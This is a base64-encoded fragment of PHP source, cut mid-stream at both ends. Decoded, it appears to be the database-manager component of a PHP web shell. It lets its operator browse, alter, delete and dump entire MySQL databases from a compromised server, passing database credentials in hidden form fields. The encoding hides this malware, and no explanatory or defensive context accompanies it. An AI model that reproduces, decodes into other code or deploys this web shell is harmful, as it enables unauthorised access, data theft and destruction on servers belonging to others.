RibCkgeyRkbXB0YmxzID0gYXJyYXkoJHNxbF90YmwpO30gJHNxbF94ID0gImR1bXAiO30NCiAgICAgIGVsc2VpZiAoJHNxbF94ID09ICJ0YmxjaGVjayIpIHskc3FsX3F1ZXJ5ID0gIkNIRUNLIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfeCA9ICJxdWVyeSI7fQ0KICAgICAgZWxzZWlmICgkc3FsX3ggPT0gInRibG9wdGltaXplIikgeyRzcWxfcXVlcnkgPSAiT1BUSU1JWkUgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF94ID0gInF1ZXJ5Ijt9DQogICAgICBlbHNlaWYgKCRzcWxfeCA9PSAidGJscmVwYWlyIikgeyRzcWxfcXVlcnkgPSAiUkVQQUlSIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfeCA9ICJxdWVyeSI7fQ0KICAgICAgZWxzZWlmICgkc3FsX3ggPT0gInRibGFuYWx5emUiKSB7JHNxbF9xdWVyeSA9ICJBTkFMWVpFIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfeCA9ICJxdWVyeSI7fQ0KICAgICAgZWxzZWlmICgkc3FsX3ggPT0gImRlbGV0ZXJvdyIpIHskc3FsX3F1ZXJ5ID0gIiI7IGlmICghZW1wdHkoJGJveHJvd19hbGwpKSB7JHNxbF9xdWVyeSA9ICJERUxFVEUgKiBGUk9NIGAiLiRzcWxfdGJsLiJgOyI7fSBlbHNlIHtmb3JlYWNoKCRib3hyb3cgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJERUxFVEUgKiBGUk9NIGAiLiRzcWxfdGJsLiJgIFdIRVJFIi4kdi4iIExJTUlUIDE7XG4iO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpO30gJHNxbF94ID0gInF1ZXJ5Ijt9DQogICAgICBlbHNlaWYgKCRzcWxfdGJsX3ggPT0gImluc2VydCIpIHsNCiAgICAgICAgaWYgKCRzcWxfdGJsX2luc2VydF9yYWRpbyA9PSAxKSB7DQogICAgICAgICAgJGtleXMgPSAiIjsNCiAgICAgICAgICAkYWtleXMgPSBhcnJheV9rZXlzKCRzcWxfdGJsX2luc2VydCk7DQogICAgICAgICAgZm9yZWFjaCAoJGFrZXlzIGFzICR2KSB7JGtleXMgLj0gImAiLmFkZHNsYXNoZXMoJHYpLiJgLCAiO30NCiAgICAgICAgICBpZiAoIWVtcHR5KCRrZXlzKSkgeyRrZXlzID0gc3Vic3RyKCRrZXlzLDAsc3RybGVuKCRrZXlzKS0yKTt9DQogICAgICAgICAgJHZhbHVlcyA9ICIiOw0KICAgICAgICAgICRpID0gMDsNCiAgICAgICAgICBmb3JlYWNoIChhcnJheV92YWx1ZXMoJHNxbF90YmxfaW5zZXJ0KSBhcyAkdikge2lmICgkZnVuY3QgPSAkc3FsX3RibF9pbnNlcnRfZnVuY3RzWyRha2V5c1skaV1dKSB7JHZhbHVlcyAuPSAkZnVuY3QuIiAoIjt9ICR2YWx1ZXMgLj0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsgaWYgKCRmdW5jdCkgeyR2YWx1ZXMgLj0gIikiO30gJHZhbHVlcyAuPSAiLCAiOyAkaSsrO30NCiAgICAgICAgICBpZiAoIWVtcHR5KCR2YWx1ZXMpKSB7JHZhbHVlcyA9IHN1YnN0cigkdmFsdWVzLDAsc3RybGVuKCR2YWx1ZXMpLTIpO30NCiAgICAgICAgICAkc3FsX3F1ZXJ5ID0gIklOU0VSVCBJTlRPIGAiLiRzcWxfdGJsLiJgICggIi4ka2V5cy4iICkgVkFMVUVTICggIi4kdmFsdWVzLiIgKTsiOw0KICAgICAgICAgICRzcWxfeCA9ICJxdWVyeSI7DQogICAgICAgICAgJHNxbF90YmxfeCA9ICJicm93c2UiOw0KICAgICAgICB9DQogICAgICAgIGVsc2VpZiAoJHNxbF90YmxfaW5zZXJ0X3JhZGlvID09IDIpIHsNCiAgICAgICAgICAkc2V0ID0gbXlzcWxfYnVpbGR3aGVyZSgkc3FsX3RibF9pbnNlcnQsIiwgIiwkc3FsX3RibF9pbnNlcnRfZnVuY3RzKTsNCiAgICAgICAgICAkc3FsX3F1ZXJ5ID0gIlVQREFURSBgIi4kc3FsX3RibC4iYCBTRVQgIi4kc2V0LiIgV0hFUkUgIi4kc3FsX3RibF9pbnNlcnRfcS4iIExJTUlUIDE7IjsNCiAgICAgICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbF9xdWVyeSkgb3IgcHJpbnQobXlzcWxfc21hcnRlcnJvcigpKTsNCiAgICAgICAgICAkcmVzdWx0ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpOw0KICAgICAgICAgICRzcWxfeCA9ICJxdWVyeSI7DQogICAgICAgICAgJHNxbF90YmxfeCA9ICJicm93c2UiOw0KICAgICAgICB9DQogICAgICB9DQogICAgICBpZiAoJHNxbF94ID09ICJxdWVyeSIpIHsNCiAgICAgICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOw0KICAgICAgICBpZiAoKCRzdWJtaXQpIGFuZCAoISRzcWxfcXVlcnlfcmVzdWx0KSBhbmQgKCRzcWxfY29uZmlybSkpIHtpZiAoISRzcWxfcXVlcnlfZXJyb3IpIHskc3FsX3F1ZXJ5X2Vycm9yID0gIlF1ZXJ5IHdhcyBlbXB0eSI7fSBlY2hvICI8Yj5FcnJvcjo8L2I+IDxicj4iLiRzcWxfcXVlcnlfZXJyb3IuIjxicj4iO30NCiAgICAgICAgaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfeCA9ICRzcWxfZ290bzt9DQogICAgICAgIGlmICgoISRzdWJtaXQpIG9yICgkc3FsX3gpKSB7ZWNobyAiPHRhYmxlIGJvcmRlcj1cIjBcIiB3aWR0aD1cIjEwMCVcIiBoZWlnaHQ9XCIxXCI+PHRyPjx0ZD48Zm9ybSBhY3Rpb249XCIiLiRzcWxfc3VybC4iXCIgbWV0aG9kPVwiUE9TVFwiPjxiPiI7IGlmICgoJHNxbF9xdWVyeSkgYW5kICghJHN1Ym1pdCkpIHtlY2hvICJEbyB5b3UgcmVhbGx5IHdhbnQgdG86Ijt9IGVsc2Uge2VjaG8gIlNRTC1RdWVyeSA6Ijt9IGVjaG8gIjwvYj48YnI+PGJyPjx0ZXh0YXJlYSBuYW1lPVwic3FsX3F1ZXJ5XCIgY29scz1cIjEwMFwiIHJvd3M9XCIxMFwiPiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5KS4iPC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF94XCIgdmFsdWU9XCJxdWVyeVwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPVwiMVwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9nb3RvXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9nb3RvKS4iXCI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwic3FsX2NvbmZpcm1cIiB2YWx1ZT1cIlllc1wiPiA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiTm9cIj48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+Ijt9DQogICAgICB9DQogICAgICBpZiAoaW5fYXJyYXkoJHNxbF94LCRhY3RzKSkgew0KICAgICAgICA/Pjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEiPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48Yj5DcmVhdGUgbmV3IHRhYmxlOjwvYj4NCiAgICAgICAgPGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IngiIHZhbHVlPSJzcWwiPg0KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfeCIgdmFsdWU9Im5ld3RibCI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9kYiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKTsgPz4iPg0KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX25ld3RibCIgc2l6ZT0iMjAiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ3JlYXRlIj4NCiAgICAgICAgPC9mb3JtPjwvdGQ+DQogICAgICAgIDx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPkR1bXAgREI6PC9iPg0KICAgICAgICA8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieCIgdmFsdWU9InNxbCI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF94IiB2YWx1ZT0iZHVtcCI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9kYiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKTsgPz4iPg0KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImR1bXBfZmlsZSIgc2l6ZT0iMzAiIHZhbHVlPSI8P3BocCBlY2hvICJkdW1wXyIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiJfIi4kc3FsX2RiLiJfIi5kYXRlKCJkLW0tWS1ILWktcyIpLiIuc3FsIjsgPz4iPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT0iRHVtcCI+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjwvdGFibGU+DQogICAgICAgIDw/cGhwDQogICAgICAgIGlmICghZW1wdHkoJHNxbF94KSkge2VjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+Ijt9DQogICAgICAgIGlmICgkc3FsX3ggPT0gIm5ld3RibCIpIHsNCiAgICAgICAgICBlY2hvICI8Yj4iOw0KICAgICAgICAgIGlmICgobXlzcWxfY3JlYXRlX2RiICgkc3FsX25ld2RiKSkgYW5kICghZW1wdHkoJHNxbF9uZXdkYikpKSB7DQogICAgICAgICAgICBlY2hvICJEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKS4iXCIgaGFzIGJlZW4gY3JlYXRlZCB3aXRoIHN1Y2Nlc3MhPC9iPjxicj4iOw0KICAgICAgICAgIH0NCiAgICAgICAgICBlbHNlIHtlY2hvICJDYW4ndCBjcmVhdGUgREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiLjxicj5SZWFzb246PC9iPiAiLm15c3FsX3NtYXJ0ZXJyb3IoKTt9DQogICAgICAgIH0NCiAgICAgICAgZWxzZWlmICgkc3FsX3ggPT0gImR1bXAiKSB7DQogICAgICAgICAgaWYgKGVtcHR5KCRzdWJtaXQpKSB7DQogICAgICAgICAgICAkZGlwbGF5ID0gRkFMU0U7DQogICAgICAgICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJHRVRcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ4XCIgdmFsdWU9XCJzcWxcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfeFwiIHZhbHVlPVwiZHVtcFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9kYlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfbG9naW5cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3Bhc3N3ZFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3NlcnZlclwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3BvcnRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfdGJsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48Yj5TUUwtRHVtcDo8L2I+PGJyPjxicj4iOw0KICAgICAgICAgICAgZWNobyAiPGI+REI6PC9iPiA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX2RiXCIgdmFsdWU9XCIiLnVybGVuY29kZSgkc3FsX2RiKS4iXCI+PGJyPjxicj4iOw0KICAgICAgICAgICAgJHYgPSBqb2luICgiOyIsJGRtcHRibHMpOw0KICAgICAgICAgICAgZWNobyAiPGI+T25seSB0YWJsZXMgKGV4cGxvZGUgXCI7XCIpJm5ic3A7PGI+PHN1cD4xPC9zdXA+PC9iPjo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImRtcHRibHNcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkdikuIlwiIHNpemU9XCIiLihzdHJsZW4oJHYpKzUpLiJcIj48YnI+PGJyPiI7DQogICAgICAgICAgICBpZiAoJGR1bXBfZmlsZSkgeyR0bXAgPSAkZHVtcF9maWxlO30NCiAgICAgICAgICAgIGVsc2UgeyR0bXAgPSBodG1sc3BlY2lhbGNoYXJzKCIuL2R1bXBfIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIl8iLiRzcWxfZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi5zcWwiKTt9DQogICAgICAgICAgICBlY2hvICI8Yj5GaWxlOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX2R1bXBfZmlsZVwiIHZhbHVlPVwiIi4kdG1wLiJcIiBzaXplPVwiIi4oc3RybGVuKCR0bXApK3N0cmxlbigkdG1wKSAlIDMwKS4iXCI+PGJyPjxicj4iOw0KICAgICAgICAgICAgZWNobyAiPGI+RG93bmxvYWQ6IDwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNxbF9kdW1wX2Rvd25sb2FkXCIgdmFsdWU9XCIxXCIgY2hlY2tlZD48YnI+PGJyPiI7DQogICAgICAgICAgICBlY2hvICI8Yj5TYXZlIHRvIGZpbGU6IDwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNxbF9kdW1wX3NhdmV0b2ZpbGVcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPiI7DQogICAgICAgICAgICBlY2hvICI8YnI+PGJyPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPVwiRHVtcFwiPjxicj48YnI+PGI+PHN1cD4xPC9zdXA+PC9iPiAtIGFsbCwgaWYgZW1wdHkiOw0KICAgICAgICAgICAgZWNobyAiPC9mb3JtPiI7DQogICAgICAgICAgfQ0KICAgICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgJGRpcGxheSA9IFRSVUU7DQogICAgICAgICAgICAkc2V0ID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRzZXRbInNvY2siXSA9ICRzcWxfc29jazsNCiAgICAgICAgICAgICRzZXRbImRiIl0gPSAkc3FsX2RiOw0KICAgICAgICAgICAgJGR1bXBfb3V0ID0gImRvd25sb2FkIjsNCiAgICAgICAgICAgICRzZXRbInByaW50Il0gPSAwOw0KICAgICAgICAgICAgJHNldFsibmwyYnIiXSA9IDA7DQogICAgICAgICAgICAkc2V0WyIiXSA9IDA7DQogICAgICAgICAgICAkc2V0WyJmaWxlIl0gPSAkZHVtcF9maWxlOw0KICAgICAgICAgICAgJHNldFsiYWRkX2Ryb3AiXSA9IFRSVUU7DQogICAgICAgICAgICAkc2V0WyJvbmx5dGFicyJdID0gYXJyYXkoKTsNCiAgICAgICAgICAgIGlmICghZW1wdHkoJGRtcHRibHMpKSB7JHNldFsib25seXRhYnMiXSA9IGV4cGxvZGUoIjsiLCRkbXB0YmxzKTt9DQogICAgICAgICAgICAkcmV0ID0gbXlzcWxfZHVtcCgkc2V0KTsNCiAgICAgICAgICAgIGlmICgkc3FsX2R1bXBfZG93bmxvYWQpIHsNCiAgICAgICAgICAgICAgQG9iX2NsZWFuKCk7DQogICAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsNCiAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LWxlbmd0aDogIi5zdHJsZW4oJHJldCkpOw0KICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi5iYXNlbmFtZSgkc3FsX2R1bXBfZmlsZSkuIlwiOyIpOw0KICAgICAgICAgICAgICBlY2hvICRyZXQ7DQogICAgICAgICAgICAgIGV4aXQ7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlaWYgKCRzcWxfZHVtcF9zYXZldG9maWxlKSB7DQogICAgICAgICAgICAgICRmcCA9IGZvcGVuKCRzcWxfZHVtcF9maWxlLCJ3Iik7DQogICAgICAgICAgICAgIGlmICghJGZwKSB7ZWNobyAiPGI+RHVtcCBlcnJvciEgQ2FuJ3Qgd3JpdGUgdG8gXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kdW1wX2ZpbGUpLiJcIiEiO30NCiAgICAgICAgICAgICAgZWxzZSB7DQogICAgICAgICAgICAgICAgZndyaXRlKCRmcCwkcmV0KTsNCiAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgICAgICBlY2hvICI8Yj5EdW1wZWQhIER1bXAgaGFzIGJlZW4gd3JpdGVkIHRvIFwiIi5odG1sc3BlY2lhbGNoYXJzKHJlYWxwYXRoKCRzcWxfZHVtcF9maWxlKSkuIlwiICgiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkc3FsX2R1bXBfZmlsZSkpLiIpPC9iPi4iOw0KICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlIHtlY2hvICI8Yj5EdW1wOiBub3RoaW5nIHRvIGRvITwvYj4iO30NCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRkaXBsYXkpIHsNCiAgICBpZiAoIWVtcHR5KCRzcWxfdGJsKSkgew0KICAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX3gpKSB7JHNxbF90YmxfeCA9ICJicm93c2UiO30NCiAgICAgICRjb3VudCA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgQ09VTlQoKikgRlJPTSBgIi4kc3FsX3RibC4iYDsiKTsNCiAgICAgICRjb3VudF9yb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkY291bnQpOw0KICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJGNvdW50KTsNCiAgICAgICR0Ymxfc3RydWN0X3Jlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIEZJRUxEUyBGUk9NIGAiLiRzcWxfdGJsLiJgOyIpOw0KICAgICAgJHRibF9zdHJ1Y3RfZmllbGRzID0gYXJyYXkoKTsNCiAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHRibF9zdHJ1Y3RfcmVzdWx0KSkgeyR0Ymxfc3RydWN0X2ZpZWxkc1tdID0gJHJvdzt9DQogICAgICBpZiAoJHNxbF9scyA+ICRzcWxfbGUpIHskc3FsX2xlID0gJHNxbF9scyArICRwZXJwYWdlO30NCiAgICAgIGlmIChlbXB0eSgkc3FsX3RibF9wYWdlKSkgeyRzcWxfdGJsX3BhZ2UgPSAwO30NCiAgICAgIGlmIChlbXB0eSgkc3FsX3RibF9scykpIHskc3FsX3RibF9scyA9IDA7fQ0KICAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2xlKSkgeyRzcWxfdGJsX2xlID0gMzA7fQ0KICAgICAgJHBlcnBhZ2UgPSAkc3FsX3RibF9sZSAtICRzcWxfdGJsX2xzOw0KICAgICAgaWYgKCFpc19udW1lcmljKCRwZXJwYWdlKSkgeyRwZXJwYWdlID0gMTA7fQ0KICAgICAgJG51bXBhZ2VzID0gJGNvdW50X3Jvd1swXS8kcGVycGFnZTsNCiAgICAgICRlID0gZXhwbG9kZSgiICIsJHNxbF9vcmRlcik7DQogICAgICBpZiAoY291bnQoJGUpID09IDIpIHsNCiAgICAgICAgaWYgKCRlWzBdID09ICJkIikgeyRhc2NfZGVzYyA9ICJERVNDIjt9DQogICAgICAgIGVsc2UgeyRhc2NfZGVzYyA9ICJBU0MiO30NCiAgICAgICAgJHYgPSAiT1JERVIgQlkgYCIuJGVbMV0uImAgIi4kYXNjX2Rlc2MuIiAiOw0KICAgICAgfQ0KICAgICAgZWxzZSB7JHYgPSAiIjt9DQogICAgICAkcXVlcnkgPSAiU0VMRUNUICogRlJPTSBgIi4kc3FsX3RibC4iYCAiLiR2LiJMSU1JVCAiLiRzcWxfdGJsX2xzLiIgLCAiLiRwZXJwYWdlLiIiOw0KICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSkgb3IgcHJpbnQobXlzcWxfc21hcnRlcnJvcigpKTsNCiAgICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+PGNlbnRlcj48Yj5UYWJsZSAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiIgKCIubXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KS4iIGNvbHMgYW5kICIuJGNvdW50X3Jvd1swXS4iIHJvd3MpPC9iPjwvY2VudGVyPiI7DQogICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF94PXN0cnVjdHVyZVwiPls8Yj4gU3RydWN0dXJlIDwvYj5dPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7DQogICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF94PWJyb3dzZVwiPls8Yj4gQnJvd3NlIDwvYj5dPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7DQogICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3g9dGJsZHVtcCZ0aGlzdGJsPTFcIj5bPGI+IER1bXAgPC9iPl08L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCiAgICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfdGJsX3g9aW5zZXJ0XCI+WyZuYnNwOzxiPkluc2VydDwvYj4mbmJzcDtdPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7DQogICAgICBpZiAoJHNxbF90YmxfeCA9PSAic3RydWN0dXJlIikge2VjaG8gIjxicj48YnI+PGI+Q29taW5nIHNvb29uITwvYj4iO30NCiAgICAgIGlmICgkc3FsX3RibF94ID09ICJpbnNlcnQiKSB7DQogICAgICAgIGlmICghaXNfYXJyYXkoJHNxbF90YmxfaW5zZXJ0KSkgeyRzcWxfdGJsX2luc2VydCA9IGFycmF5KCk7fQ0KICAgICAgICBpZiAoIWVtcHR5KCRzcWxfdGJsX2luc2VydF9yYWRpbykpIHsgIH0gLy9Ob3QgUmVhZHkNCiAgICAgICAgZWxzZSB7DQogICAgICAgICAgZWNobyAiPGJyPjxicj48Yj5JbnNlcnRpbmcgcm93IGludG8gdGFibGU6PC9iPjxicj4iOw0KICAgICAgICAgIGlmICghZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKSB7DQogICAgICAgICAgICAkc3FsX3F1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYCIuJHNxbF90YmwuImAiOw0KICAgICAgICAgICAgJHNxbF9xdWVyeSAuPSAiIFdIRVJFIi4kc3FsX3RibF9pbnNlcnRfcTsNCiAgICAgICAgICAgICRzcWxfcXVlcnkgLj0gIiBMSU1JVCAxOyI7DQogICAgICAgICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbF9xdWVyeSwkc3FsX3NvY2spIG9yIHByaW50KCI8YnI+PGJyPiIubXlzcWxfc21hcnRlcnJvcigpKTsNCiAgICAgICAgICAgICR2YWx1ZXMgPSBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KTsNCiAgICAgICAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgICAgICAgIH0NCiAgICAgICAgICBlbHNlIHskdmFsdWVzID0gYXJyYXkoKTt9DQogICAgICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPVwiUE9TVFwiPjx0YWJsZSB3aWR0aD1cIjElXCIgYm9yZGVyPTE+PHRyPjx0ZD48Yj5GaWVsZDwvYj48L3RkPjx0ZD48Yj5UeXBlPC9iPjwvdGQ+PH